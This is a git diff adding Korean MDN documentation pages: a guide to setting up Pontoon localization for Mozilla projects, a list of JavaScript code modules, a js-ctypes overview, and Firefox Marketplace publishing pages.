+<p><a class="external external-icon" href="https://pontoon.mozilla.org/">Pontoon</a> 은 보는 대로 얻을 수 있는 웹기반 지역화 도구입니다. 모질라에서는 현재 다양한 모질라 프로젝트와 Gaia라고 알려진 파이어 폭스 OS 인터페이스를 지역화시키기 위하여 폰툰을 사용하고 있습니다. 폰툰은 매우 간단하고 직관적인 도구입니다. 이는 지역화를 위한 시간을 줄여주기 위하여 어떤 전문적인 기술을 요구하지 않습니다. 여기서 저희는 어떻게 폰툰을 당신의 모질라 프로젝트에 추가하는지 이야기할 것입니다.</p>
+
+<div class="note">
+<p><strong>폰툰을 개선하고 싶으신가요?</strong> <a href="https://github.com/mozilla/pontoon">GitHub</a>에서 어떻게 관여하는지 배우세요.</p>
+</div>
+
+<div class="note">
+<p><strong>단지 당신의 l10n 프로젝트를 시작하고 싶으신가요?</strong> <a href="https://wiki.mozilla.org/L10n:NewProjects">getting your project localized</a>를 확인하세요</p>
+</div>
+
+<h2 id="A._당신의_프로젝트를_번역할_수_있도록_만드세요">A. 당신의 프로젝트를 번역할 수 있도록 만드세요</h2>
+
+<p>저희는 모질라 프로젝트를 지역화하기 위한 표준이 되는 <a class="external external-icon" href="https://mozweb.readthedocs.org/en/latest/reference/l10n.html">best practices</a> 이 이미 있다는 것을 알고 있지만, 그 방법들을 여기에 추가하는 것이 기억하기에 좋다고 생각하였습니다. </p>
+
+<ol>
+ <li>당신의 프로젝트가 l10n 프레임 워크들중 하나를 지원한다는 것을 보증하세요(<a class="external external-icon" href="https://www.gnu.org/software/gettext/">gettext</a>, <a class="external external-icon" href="https://docs.oasis-open.org/xliff/xliff-core/v2.0/xliff-core-v2.0.html">XLIFF</a>, <a class="external external-icon" href="https://projectfluent.org/">L20n</a>, <a class="external external-icon" href="https://github.com/mozilla-l10n/langchecker/wiki/.lang-files-format">lang</a>, <a class="external external-icon" href="https://wikipedia.org/wiki/.properties">properties</a>, etc.).</li>
+ <li>resource files에 번역할만한 문자들을 넣어주세요</li>
+ <li>resource files를 저장소(SVN, HG, Git) 에 Push하세요
+  <ul>
+   <li>각각의 지역 폴더들은 반드시 그 디렉토리 트리의 같은 레벨에 위치하고 있어야 합니다. Source locale은 영어로 templates라고 불릴 필요가 있습니다. 당신은 이러한 목적을 위하여 섬세한 지역 폴더를 생성하기 원할지도 모릅니다. 지역 코드는 반드시 그 파일명의 일부가 되서는 안됩니다.</li>
+   <li>올바른 패턴:
+    <pre>/locales/{locale_code}/path/to/file.extension</pre>
+   </li>
+   <li>부적절한 패턴:
+    <pre>/locales/{locale_code}/path/to/file.{locale_code}.extension</pre>
+   </li>
+  </ul>
+ </li>
+ <li>폰툰이 저장소에 쓰기 권한을 가질 수 있도록 확인하세요.
+  <ul>
+   <li>만약 GitHub를 사용한다면, 당신의 프로젝트에 <a href="https://github.com/mozilla-pontoon">mozilla-pontoon</a> 혹은 <a href="https://github.com/orgs/mozilla/teams/pontoon-l10n-robots">pontoon-l10n-robots</a>를 추가하세요</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="B._선택사항_당신의_웹_프로젝트의_in-page_지역화를_활성화하세요">B. (선택사항) 당신의 웹 프로젝트의 in-page 지역화를 활성화하세요</h2>
+
+<ol>
+ <li>폰툰이 당신의 사이트에 접속하고, 내용을 찾아 올바르게 번역할 수 있도록 HTML &lt;body&gt; element로 부터 오는 스크립트를 연결하세요.
+  <ul>
+   <li>
+    <pre id="line1"><span>  </span><span>&lt;<span class="start-tag">script</span> <span class="attribute-name">src</span>="<a class="attribute-value">https://pontoon.mozilla.org/pontoon.js</a>"</span><span>&gt;&lt;/<span class="end-tag">script</span>&gt;</span></pre>
+   </li>
+  </ul>
+ </li>
+ <li>만약 당신의 사이트가 <a class="external external-icon" href="/ko/docs/Web/HTTP/CSP">CSP</a>를 사용한다면, 부디 다음의 사항들이 pontoon.mozilla.org 도메인에 허가될 수 있도록 확인해주세요
+  <ol>
+   <li>iframe 내부를 로딩하는 것</li>
+   <li>멀리 있는 CSS를 로딩하는 것</li>
+   <li>멀리 있는 이미지들을 로딩하는 것</li>
+  </ol>
+ </li>
+ <li>만약 당신의 사이트가 <a class="external external-icon" href="/ko/docs/Web/HTTP/X-Frame-Options">X-Frame-Options</a> header를 사용한다면, 부디 iframe 내부가 도메인에 허가될 수 있도록 확인해주세요</li>
+ <li>당신의 사이트가 HTTPS를 지원하는지 확인해주세요. HTTPS는 무료이며, 자동적으로 열립니다. <a href="https://letsencrypt.org/">암호화합시다</a>!</li>
+</ol>
+
+<h2 id="C._폰툰에_당신의_프로젝트를_추가하세요">C. 폰툰에 당신의 프로젝트를 추가하세요</h2>
+
+<p>당신의 프로젝트는 이제 폰툰에 설치될 준비가 되었습니다. 부디 <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Localization%20Infrastructure%20and%20Tools&amp;component=Administration%20%2F%20Setup">Localization Infrastructure and Tools :: Administration / Setup</a>에 버그를 기록하여 주세요 그리고 아래 사항 정보들을 제공해 주세요</p>
+
+<ul>
+ <li>프로젝트 이름</li>
+ <li>저장소 URL</li>
+ <li>요청된 지역들의 목록</li>
+ <li>웹 사이트 URL, 모든 subpage를 포함한 URL들(오직 in-page 지역화를 사용하고 있을 경우에만)</li>
+</ul>
+
+<p>더 자세한 사항을 원한다면, <a class="external external-icon" href="mailto:pontoon-team@mozilla.com">Project Management Team</a>과 연락해주세요.</p>
diff --git a/files/ko/mozilla/index.html b/files/ko/mozilla/index.html
new file mode 100644
index 0000000000..c39c3f9a70
--- /dev/null
+++ b/files/ko/mozilla/index.html
@@ -0,0 +1,21 @@
+---
+title: Mozilla
+slug: Mozilla
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - 모질라
+  - 시작하기
+  - 애드온
+  - 앱
+  - 조언
+  - 코딩스크립팅
+translation_of: Mozilla
+---
+<div>아래 목록에는 모질라 코드를 다운로드, 빌드하는 방법 뿐 아니라, 어떻게 코드가 동작하는지, 모질라 애플리케이션의 애드-온을 어떻게 빌드하는지 등이 포함되어있습니다. </div>
+
+<div> </div>
+
+<p> </p>
+
+<div>{{LandingPageListSubpages}}</div>
diff --git a/files/ko/mozilla/javascript_code_modules/index.html b/files/ko/mozilla/javascript_code_modules/index.html
new file mode 100644
index 0000000000..9c4987b787
--- /dev/null
+++ b/files/ko/mozilla/javascript_code_modules/index.html
@@ -0,0 +1,97 @@
+---
+title: JavaScript code modules
+slug: Mozilla/JavaScript_code_modules
+translation_of: Mozilla/JavaScript_code_modules
+---
+<p><strong>자바스크립트</strong>(<a href="https://ko.wikipedia.org/wiki/%EC%98%81%EC%96%B4" title="영어">영어</a>: JavaScript)는 <a href="https://ko.wikipedia.org/wiki/%ED%94%84%EB%A1%9C%ED%86%A0%ED%83%80%EC%9E%85_%EA%B8%B0%EB%B0%98_%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D" title="프로토타입 기반 프로그래밍">객체 기반</a>의 <a href="https://ko.wikipedia.org/wiki/%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8_%EC%96%B8%EC%96%B4" title="스크립트 언어">스크립트 프로그래밍 언어</a>이다. 이 언어는 <a href="https://ko.wikipedia.org/wiki/%EC%9B%B9%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80" title="웹브라우저">웹브라우저</a> 내에서 주로 사용하며, 다른 응용 프로그램의 내장 객체에도 접근할 수 있는 기능을 가지고 있다. 또한 <a href="https://ko.wikipedia.org/wiki/Node.js" title="Node.js">Node.js</a>와 같은 런타임 환경과 같이 서버 사이드 네트워크 프로그래밍에도 사용되고 있다. 자바스크립트는 본래 <a href="https://ko.wikipedia.org/wiki/%EB%84%B7%EC%8A%A4%EC%BC%80%EC%9D%B4%ED%94%84_%EC%BB%A4%EB%AE%A4%EB%8B%88%EC%BC%80%EC%9D%B4%EC%85%98%EC%A6%88_%EC%BD%94%ED%8D%BC%EB%A0%88%EC%9D%B4%EC%85%98" title="넷스케이프 커뮤니케이션즈 코퍼레이션">넷스케이프 커뮤니케이션즈 코퍼레이션</a>의 <a href="https://ko.wikipedia.org/wiki/%EB%B8%8C%EB%A0%8C%EB%8D%98_%EC%95%84%EC%9D%B4%ED%81%AC" title="브렌던 아이크">브렌던 아이크</a>(Brendan Eich)가 처음에는 <em>모카</em>(Mocha)라는 이름으로, 나중에는 <em>라이브스크립트</em>(LiveScript)라는 이름으로 개발하였으며, 최종적으로 자바스크립트가 되었다JavaScript 코드 모듈을 사용하면 여러 개의 권한이 부여 된 JavaScript 범위에서 코드를 공유 할 수 있습니다. 예를 들어, 코드 중복을 피하기 위해 파이어 폭스 자체뿐만 아니라 확장 모듈에서도 모듈을 사용할 수 있습니다.</p>
+
+<div class="note">
+<p>These are <em>not</em> the same thing as standard JavaScript modules. See {{jsxref("Statements/export", "export")}} and {{jsxref("Statements/import", "import")}} to learn more about how to use standard modules.</p>
+</div>
+
+<h2 id="General_topics">General topics</h2>
+
+<dl style="-moz-columns: 2; columns: 2;">
+ <dt><a href="/en-US/docs/JavaScript_code_modules/Using" title="./Using">Using JavaScript code modules</a></dt>
+ <dd>An introduction to how to use JavaScript code modules.</dd>
+ <dt><a href="/en-US/docs/Components.utils.import" title="Components.utils.import">Components.utils.import</a></dt>
+ <dd>How to import a JavaScript code module.</dd>
+ <dt><a href="/en-US/docs/Components.utils.unload" title="Components.utils.unload">Components.utils.unload</a></dt>
+ <dd>How to unload a JavaScript code module.</dd>
+ <dt><a href="/en-US/docs/Code_snippets/Modules" title="Code_snippets/Modules">Code snippets: Modules</a></dt>
+ <dd>Examples of how to use code modules.</dd>
+ <dt><a class="external" href="http://wiki.mozilla.org/Labs/JS_Modules">Mozilla Labs JS Modules</a></dt>
+ <dd>This page features a list of JavaScript modules, along with download links and documentation, that extension developers can use in their code.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Standard_code_modules">Standard code modules</h2>
+
+<dl style="-moz-columns: 2; columns: 2;">
+ <dt><a href="/en-US/docs/Addons/Add-on_Manager" title="Addons/Add-on_Manager">AddonManager.jsm</a></dt>
+ <dd>An interface to install, manage, and uninstall add-ons.</dd>
+ <dt><a href="/en-US/docs/Addons/Add-on_Repository" title="Addons/Add-on Repository">AddonRepository.jsm</a></dt>
+ <dd>Provides a search of add-ons in the repository.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Assert.jsm" title="./Assert.jsm">Assert.jsm</a></dt>
+ <dd>Implements the <a href="http://wiki.commonjs.org/wiki/Unit_Testing/1.1" title="http://wiki.commonjs.org/wiki/Unit_Testing/1.1">CommonJS Unit Testing specification version 1.1</a>, which provides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.</dd>
+ <dt>BookmarkHTMLUtils.jsm</dt>
+ <dd>Provides utility functions for importing and exporting bookmarks from the old-school "bookmarks.html" style bookmark files.</dd>
+ <dt><a href="/en-US/docs/Mozilla/js-ctypes" title="./ctypes.jsm">ctypes.jsm</a></dt>
+ <dd>Provides an interface that allows JavaScript code to call native libraries without requiring the development of an XPCOM component.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/CustomizableUI.jsm" title="./ctypes.jsm">CustomizableUI.jsm</a></dt>
+ <dd>Allows you to interact with customizable buttons and items in Firefox's main window UI.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/DeferredTask.jsm" title="./DeferredTask.jsm">DeferredTask.jsm</a></dt>
+ <dd>Run a task after a delay.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Dict.jsm" title="./Dict.jsm">Dict.jsm</a></dt>
+ <dd>Provides an API for key/value pair dictionaries.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/DownloadLastDir.jsm" title="./DownloadLastDir.jsm">DownloadLastDir.jsm</a></dt>
+ <dd>Supplies the path to the directory into which the last download occurred.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Downloads.jsm" title="./Downloads.jsm">Downloads.jsm</a></dt>
+ <dd>Provides a single entry point to interact with the downloading capabilities of the platform.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/FileUtils.jsm" title="./FileUtils.jsm"><strong style="font-weight: bold;">FileUtils.jsm</strong></a></dt>
+ <dd>Provides helpers for dealing with files.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Geometry.jsm" title="./Geometry.jsm">Geometry.jsm</a></dt>
+ <dd>Provides routines for performing basic geometric operations on points and rectangles.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Http.jsm" title="./Geometry.jsm">HTTP.jsm</a></dt>
+ <dd>A wrapper for XMLHttpRequest that provides convenient and simplified API for dealing with HTTP requests.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/JNI.jsm">JNI.jsm</a></dt>
+ <dd>Abstracts the js-ctypes to provide an interface that allows JavaScript code to call code running in native JVMs.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/ISO8601DateUtils.jsm" title="./ISO8601DateUtils.jsm">ISO8601DateUtils.jsm</a></dt>
+ <dd>Provides routines to convert between JavaScript <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/ Reference/Global Objects/Date"><code>Date</code></a> objects and ISO 8601 date strings.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Log.jsm">Log.jsm</a> (formerly log4moz)</dt>
+ <dd>Provides a <a href="https://en.wikipedia.org/wiki/Log4j">log4j</a> style API for logging, log messages to various endpoints, such as the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a> or a file on disk. </dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/NetUtil.jsm" title="./NetUtil.jsm"><strong style="font-weight: bold;">NetUtil.jsm</strong></a></dt>
+ <dd>Provides helpful networking utility functions, including the ability to easily copy data from an input stream to an output stream asynchronously.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/openLocationLastURL.jsm" title="./openLocationLastURL.jsm">openLocationLastURL.jsm</a></dt>
+ <dd>Provides access to the last URL opened using the "Open Location" option in the File menu.</dd>
+ <dt><a href="/Mozilla/JavaScript_code_modules/OSFile.jsm" title="/en-US/docs/JavaScript_OS.File">OSFile.jsm</a></dt>
+ <dd>Allows routines to access files. To which can be read, write, rename, create directories,etc.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/PerfMeasurement.jsm" title="./PerfMeasurement.jsm">PerfMeasurement.jsm</a></dt>
+ <dd>Provides access to low-level hardware and OS performance measurement tools.</dd>
+ <dt><a href="/en-US/docs/Localization_and_Plurals" title="Localization and Plurals">PluralForm.jsm</a></dt>
+ <dd>Supplies an easy way to get the correct plural forms for the current locale, as well as ways to localize to a specific plural rule.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/PopupNotifications.jsm" title="./PopupNotifications.jsm">PopupNotifications.jsm</a></dt>
+ <dd>Gives an easy way to present non-modal notifications to users.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Promise.jsm" title="./Promise.jsm">Promise.jsm</a></dt>
+ <dd>Implements the <a class="external" href="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md" title="https://github.com/promises-aplus/promises-spec/blob/1.0.0/README.md">Promises/A+</a> proposal as known in April 2013.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/PromiseWorker.jsm">PromiseWorker.jsm</a></dt>
+ <dd>A version of {{domxref("ChromeWorker")}} which uses Promises to return the worker's result instead of using an event to do so.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm" title="./Services.jsm">Services.jsm</a></dt>
+ <dd>Provides getters for conveniently obtaining access to commonly-used services.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/source-editor.jsm" title="./source-editor.jsm">source-editor.jsm</a></dt>
+ <dd>The Source Editor is used by developer tools such as, the Style Editor; this interface implements the editor and lets you interact with it.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Sqlite.jsm" title="./Sqlite.jsm">Sqlite.jsm</a></dt>
+ <dd>A Promise-based API to mozIStorage/SQLite.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Task.jsm" title="./Task.jsm">Task.jsm</a></dt>
+ <dd>Implements a subset of <a class="external" href="http://taskjs.org/" title="http://taskjs.org/">Task.js</a> to make sequential, asynchronous operations simple, using the power of JavaScript's <code>yield</code> operator.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Timer.jsm</a></dt>
+ <dd>A pure JS implementation of <code>window.setTimeout</code>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/Webapps.jsm" title="/en-US/docs/Mozilla/JavaScript_code_modules/Timer.jsm">Webapps.jsm</a></dt>
+ <dd>Provides an interface to manage Open Web Apps.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/WebRequest.jsm">WebRequest.jsm</a></dt>
+ <dd>Provides an API to add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request, and can modify or cancel the request.</dd>
+ <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm" title="./XPCOMUtils.jsm">XPCOMUtils.jsm</a></dt>
+ <dd>Contains utilities for JavaScript components loaded by the JS component loader.</dd>
+</dl>
diff --git a/files/ko/mozilla/js-ctypes/index.html b/files/ko/mozilla/js-ctypes/index.html
new file mode 100644
index 0000000000..83634cf2ce
--- /dev/null
+++ b/files/ko/mozilla/js-ctypes/index.html
@@ -0,0 +1,53 @@
+---
+title: js-ctypes
+slug: Mozilla/js-ctypes
+translation_of: Mozilla/js-ctypes
+---
+<p><strong>js-ctypes</strong> 에서는 응용 프로그램과 확장코드가 C로 작성된 네이티브 코드를 통해 앞뒤로 호출할 수 있습니다. C++지원이 제한되니 {{bug("505907")}} 완전히 지원을 바랍니다. binary XPCOM 구성 요서와는 달리,개발자가 파이어 폭스의 여러버전과 함께 사용할 수 있는 단일 바이너리를 출시할 수 있습니다.</p>
+<div class="note">
+  <strong>참고:</strong> js-ctypes는 크롬 코드에서만 사용할 수 있습니다. 즉, ctypes의 전용 응용 프로그램 및 확장 코드는 웹 사이트에 사용할 수 없습니다.</div>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">문서</h2>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/js-ctypes/Using_js-ctypes" title="Mozilla/js-ctypes/Using_js-ctypes">소개: js-ctypes에 사용하기</a></dt>
+          <dd>
+            ctypes 사용하기 시직하기.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/js-ctypes/js-ctypes_reference" title="js-ctypes/js-ctypes_reference">JS-ctypes 참조</a></dt>
+          <dd>
+            js-ctypes API에 대한 참조설명서를 참조하십시오.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/js-ctypes/Standard_OS_Libraries" title="Mozilla/js-ctypes/Standard_Libraries_per_OS">표준 OS 라이브러리</a></dt>
+          <dd>
+            다른 운영 체제의 표준 라이브러리에 대한 문서. (예: 함수는 Windows에서 어떤 DLL을 필요로 하는지에 대한 문서)</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/js-ctypes/FAQ" title="js-ctypes/FAQ">질문</a></dt>
+          <dd>
+            ctypes에 대해 자주 묻는 질문</dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/js-ctypes" title="tag/js-ctypes">모두 보기...</a></span></p>
+        <h2 class="Tools" id="Examples" name="Examples"><a href="/en-US/docs/Mozilla/js-ctypes/Examples" title="Mozilla/js-ctypes/Examples">예시</a></h2>
+        <a href="/en-US/docs/Mozilla/js-ctypes/Examples/Add_to_iPhoto" title="Mozilla/js-ctypes/Examples/Add_to_iPhoto">iPhoto 추가하기</a>
+        <dl>
+          <dd>
+            Firefox에서 "iPhoto에서 이미지를 추가"하는 기능을 구현하는 맥 OS X의 Carbon과 Core Foundation framework routines을 호출하여 JS-ctypes에 사용하는 Firefox 확장기능.</dd>
+        </dl>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">커뮤니티</h2>
+        <ul>
+          <li>Mozilla 포럼 보기...{{DiscussionList("dev-extensions", "mozilla.dev.extensions")}}</li>
+        </ul>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">관련항목</h2>
+        <ul>
+          <li><a href="/en-US/docs/Extensions" title="Extensions">추가하기</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/mozilla/marketplace/publishing/소개/index.html b/files/ko/mozilla/marketplace/publishing/소개/index.html
new file mode 100644
index 0000000000..4dc1f99578
--- /dev/null
+++ b/files/ko/mozilla/marketplace/publishing/소개/index.html
@@ -0,0 +1,84 @@
+---
+title: 소개 — 앱 출판
+slug: Mozilla/Marketplace/Publishing/소개
+tags:
+  - Firefox OS
+  - Marketplace
+  - 마켓플레이스
+  - 시작
+  - 앱
+  - 인트로
+translation_of: Archive/Mozilla/Marketplace/Publishing/Introduction
+---
+<div class="summary">So you've figured out how you'll make your <a href="/en-US/Marketplace/Prepare/Introduction">app a success</a>, chosen how to <a href="/en-US/Marketplace/Options/Introduction">deliver it and seen the options for delivering it beyond Firefox OS</a>, and written and tested your code. Now it's time to make it available to users worldwide and publish it on Firefox Marketplace. <span class="seoSummary">This section provides a guide to all the tasks you need to perform to publish and update your Open Web Apps on Firefox Marketplace, as well as useful additional information. </span></div>
+
+<div class="column-container"> </div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Community" id="Community" name="Community">출판 가이드</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Submission_checklist">Submission checklist</a></dt>
+ <dd>This checklist will help you prepare for submitting your app.</dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Marketplace_review_criteria">Marketplace review</a></dt>
+ <dd>Understand the process and criteria used when your app is reviewed.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">정책 및 가이드라인</h2>
+
+<dl>
+ <dt><a href="/en-US/Apps/Build/Icon_implementation_for_apps#Firefox_OS">Icons (App Center)</a></dt>
+ <dd>Get details of the icon sizes required for various releases of Firefox OS.</dd>
+</dl>
+
+<dl>
+ <dt><a class="external external-icon" href="https://www.mozilla.org/en-US/styleguide/products/firefox-os/icons/">Icon design (Mozilla Style Guide)</a></dt>
+ <dd>Your app or in-app product icons may follow a circlar or square design, find out more from the Mozilla Style Guide.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Privacy_policies#Mozilla_Marketplace_privacy_requirements">Privacy Policies</a></dt>
+ <dd>If your app uses personal data about a user, it must have a privacy policy. These guidelines cover the information you need to include in your app's privacy policy.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Marketplace_screenshot_criteria">Screenshot guidelines</a></dt>
+ <dd>These guidelines provide information on the best approaches to the screenshots  you include in your app's Marketplace listing.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Policies_and_Guidelines/Testing_and_troubleshooting">App testing and troubleshooting</a></dt>
+ <dd>These guidelines provide information on setting up a test environment, testing your app and troubleshooting issues you may find.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Community" name="Community">앱 제출</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Overview">App submission process guide</a></dt>
+ <dd>So you're ready to publish your first app, or want to publish an app with a packaging method or features you haven't used before, get step-by-step instructions for submitting your app to Firefox Marketplace.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">앱 업데이트하기</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Updating_apps">Updating apps</a></dt>
+ <dd>Maintaining the momentum behind your app means offering users regular updates; for new features and, although we all hope not, bug fixes. This page provides the information you need on how to deliver your app updates through Firefox Marketplace.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">출시된 앱 관리</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Managing_your_apps/Introduction_Managing_your_apps">App management guide</a></dt>
+ <dd>Your app is published and you now want to make changes or find out how well it's been received. In this section discover how to change your app status, review statistics, and check your reviews and ratings on Firefox Marketplace.</dd>
+</dl>
+
+<h2 id="추가_도구">추가 도구</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Adding_a_subdomain">Adding a subdomain for your app</a></dt>
+ <dd>If you want to offer more than one hosted app from your website, you'll need to create a subdomain for each one. This page explains how.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/mozilla/marketplace/submission/index.html b/files/ko/mozilla/marketplace/submission/index.html
new file mode 100644
index 0000000000..1c01f1e00d
--- /dev/null
+++ b/files/ko/mozilla/marketplace/submission/index.html
@@ -0,0 +1,9 @@
+---
+title: Submission
+slug: Mozilla/Marketplace/Submission
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Submission
+---
+<p>Marketplace submission</p>
diff --git a/files/ko/mozilla/marketplace_kr/index.html b/files/ko/mozilla/marketplace_kr/index.html
new file mode 100644
index 0000000000..e36b711de6
--- /dev/null
+++ b/files/ko/mozilla/marketplace_kr/index.html
@@ -0,0 +1,137 @@
+---
+title: Firefox 마켓플레이스
+slug: Mozilla/Marketplace_KR
+tags:
+  - Firefox OS
+  - 개관
+  - 마켓플레이스
+  - 비기너
+  - 시작
+  - 시작자
+  - 아마추어
+  - 앱
+  - 어플리케이션
+  - 우선사항
+  - 응용프로그램
+  - 인트로
+  - 초심자
+translation_of: Archive/Mozilla/Marketplace
+---
+<div class="summary">Firefox Marketplace는 개방되고 독점되지 않은 HTML5를 이용해서 만들어진 응용 프로그램들을 위한 온라인 장터입니다. 이곳에서는 당신의 응용프로그램을 Firefox Marketplace에 출판하기 위한 정보들을 찾을 수 있습니다. 응용프로그램들을 성공적으로 만들고 전달하고, 출판하고 업데이트하며 Marketplace의 기능을 이용하기 위한 라이브러리들과 API들을 찾아보세요.</div>
+
+<div class="column-container">
+<p><span class="seoSummary">파이어폭스 마켓플레이스는 크로스 플랫폼을 지원하는 <a href="/ko/docs/Apps">열린 웹앱환경</a>을 이용한 앱을 출판할 수 있는 곳입니다. Mozilla는 세상 모든 응용프로그램들에 대해 다음과 같은 가치를 추구합니다. - 공개성, 자유성, 사용자 선택성</span></p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<div class="column-container">
+<p> 표준화된 웹 기술, 언어, 도구, 그리고 <a href="https://marketplace.firefox.com/">Firefox Marketplace</a> 를 사용하여<a href="https://developer.mozilla.org/en-US/Apps"> Open Web Apps</a> 를 출시할 수 있습니다. 이러한 응용프로그램들은 패키징되고 Firefox OS에서 구동되거나 당신의 웹 서버에 호스팅될 수 있습니다. 출시된 응용프로그램들은 Firefox OS 스마트폰 사용자에게 그들이 어디에 있든 제공됩니다. 사용자들은 당신의 응용프로그램을 Firefox Marketplace내의 추천 응용프로그램, 카테고리, 강력한 검색기능을 이용해 쉽게 찾을 수 있습니다. 또한 사용자들은 빠르게 무료 응용프로그램들을 설치하거나 유료 응용프로그램들을 신용카드나 다른 수단을 통해 구매할 수 있습니다.</p>
+</div>
+</div>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Community" id="Community" name="Community"></h2>
+
+<h2 class="Community" id="Community" name="Community"><a href="https://developer.mozilla.org/en-US/Marketplace/Prepare">성공을 위한 준비</a></h2>
+
+<dl>
+ <dd>당신이 기쁨을 위해서, 또는 돈을 목적으로 응용프로그램을 만들지라도 당신은 사람들이 당신이 만든것을 찾고, 사용하고, 즐기기를 원할 것입니다. 이곳에서는 당신이 어떻게 소문을 내고 만족스러운 사용자들을 위해 커뮤니티를 만드는 방법을 설명합니다.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community"><a href="https://developer.mozilla.org/en-US/Marketplace/Options">공개 옵션</a></h2>
+
+<dl>
+ <dd>패키징되거나 호스팅되거나, 그것이 문제로다. 당신의 응용프로그램 콘텐츠들을 사용자들에게 전달하는 방법과 안드로이드 기기 또는 데스크톱, 그리고 Firefox Os에서 응용프로그램을 사용할 수 있게 해주는 옵션들을 찾아보세요.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community"><a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Introduction">응용프로그램 출판</a></h2>
+
+<dl>
+ <dd>당신의 응용프로그램들을 대기상태에서 놓아주세요. 응용프로그램들을 제출하고, 평가받고, 업데이트하고, 실적을 모니터링하고, 사용자들의 피드백을 받는 과정들과 같은 Firefox Marketplace에서의 응용프로그램 등록 방법을 찾아보세요.</dd>
+</dl>
+</div>
+
+<h2 class="Tools" id="Tools" name="Tools">앱 개발자들을 위한 도구들</h2>
+
+<dl>
+ <dd><strong><a href="https://developer.mozilla.org/en-US/Marketplace/APIs">Firefox Marketplace 라이브러리 및 API</a></strong> 당신의 마켓플레이스 응용프로그램에 추가할 라이브러리 및 API를 찾아보세요.</dd>
